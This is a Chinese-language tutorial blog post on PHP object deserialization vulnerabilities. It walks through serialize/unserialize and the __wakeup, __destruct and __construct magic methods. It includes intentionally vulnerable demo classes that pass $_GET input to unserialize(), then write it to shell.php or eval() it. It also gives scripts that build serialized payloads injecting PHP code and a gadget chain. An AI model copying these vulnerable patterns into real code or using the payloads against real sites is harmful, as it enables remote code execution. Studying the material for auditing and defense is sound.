php反序列化漏洞学习

  1. PHP反序列化漏洞
  2. serialize()
  3. unserialize()
  4. 反序列化漏洞的产生
  5. 利用构造函数
    1. 其他Magic function的利用
  • 利用普通成员方法
  • 反序列化漏洞的利用总结
  • PHP反序列化漏洞

    说到反序列化就要先说序列化,反序列化和序列化都伪造着两个函数来弄。serialize()和unserialize()

    • serialize()是用于将类转换为一个字符串
    • unserialize()用于将字符串转换回一个类

    serialize()

    <?php
    class test{
        var $test='123';
    }
    $class1=new test;
    $class_ser=serialize($class1);
    echo $class_ser;
    ?>
    

    输出结果为:

    O:4:"test":1:{s:4:"test";s:3:"123";}
    

    O代表存储的是对象(Object),4代表名称有4个字符。test表示对象的名称,1表示有一个值,、{s:4:"test";s:3:"123";}中,s表示字符串,4表示该变量的名称长度,value:test。3表示变量的值的长度为3,value:123

    unserialize()

    与serialize()对应的,unserialize()可以从序列化后的结果中恢复对象(Object)。

    <?php
    class test{
        var $test='123';
    }
    $class1=new test;
    $class_ser=serialize($class1);
    $data=unserialize($class_ser);
    print_r($data);
    ?>
    

    输出结果为:

    test Object ( [test] => 123 )
    

    test为对象,[test]=>123代表$test="123"

    注意:当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数

    反序列化漏洞的产生

    当参数传给unserialize()的参数可控时,我们可以通过一个序列化字符串。从而控制对象内部的变量甚至是函数

    利用构造函数

    Magic function

    php中有一类特殊的方法叫做“Magic function”,重点需要关注的

    • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的
    • 析构函数__destruct():当对象被销毁时会自动调用。
    • __wakeup():如前所提,unserialize()时会自动调用

    demo

    <?php
    header("Content-type: text/html;charset=utf-8");
    class test{
        var $test='123';
        function __wakeup(){
            echo "__wakeup"."<br>";
        }
        function __construct(){
            echo "__construct"."<br>";
        }
        function __destruct(){
            echo "__destruct"."<br>";
        }
    }
    echo "序列化:"."<br>";
    $data=new test;
    $data=serialize($data);
    
    echo "反序列化"."<br>";
    $jm=unserialize($data);
    print_r($jm);
    ?>
    

    wakeup() 或destruct()由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们

    例子:

    <?php
    class chybeta{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $class3 = $_GET['test'];
    print_r($class3);
    echo "</br>";
    $class3_unser = unserialize($class3);
    require "shell.php";
    // 为显示效果,把这个shell.php包含进来
    ?>
    

    通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:

    <?php
    class chybeta{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $data=new chybeta();
    $data->test='<?php phpinfo()?>';
    $data_ser=serialize($data);
    echo $data_ser;
    ?>
    

    结果为

    O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
    

    当把序列化后的字符串放入到test的传参中,就会造成RCE

    其他Magic function的利用

    但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

    <?php
    class ph0en1x{
        function __construct($test){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$test);
            fclose($fp);
        }
    }
    class chybeta{
        var $test = '123';
        function __wakeup(){
            $obj = new ph0en1x($this->test);
        }
    }
    $class5 = $_GET['test'];
    print_r($class5);
    echo "</br>";
    $class5_unser = unserialize($class5);
    require "shell.php";
    ?>
    
    

    这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的construct()方法,从而把<?php phpinfo() ?>写入到 shell.php中

    O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
    
    

    利用普通成员方法

    前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

    <?php
    class chybeta {
        var $test;
        function __construct() {
            $this->test= new ph0en1x(); //实例化ph0en1x
        }
        function __destruct() {
            $this->test->action(); //调用ph0en1x类里的action()函数
        }
    }
    class ph0en1x {
        function action() {
            echo "ph0en1x";
        }
    }
    class ph0en2x {
        var $test2;
        function action() {
            eval($this->test2);
        }
    }
    $class6 = new chybeta();
    unserialize($_GET['test']);
    ?>
    
    

    payload修改为:

    <?php
    class chybeta {
        var $test;
        function __construct() {
            $this->test=new ph0en2x(); //实例化ph0en1x
        }
    }
    class ph0en2x {
        var $test2="phpinfo();";
    }
    $class6 = new chybeta();
    $payload=serialize($class6);
    echo $payload;
    
    

    最后得到的序列化字串

    O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
    
    

    反序列化漏洞的利用总结

    • 搜索关键词serialize()和unserialize()
    • 详细审计有调用以上函数的代码和调用这个函数的上面的类
    • 详细审计类

    参考链接:https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/


    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

    文章标题:php反序列化漏洞学习

    本文作者:九世

    发布时间:2019-09-17, 20:23:13

    最后更新:2019-09-17, 20:29:17

    原始链接:http://jiushill.github.io/posts/573dfd6f.html

    版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

    目录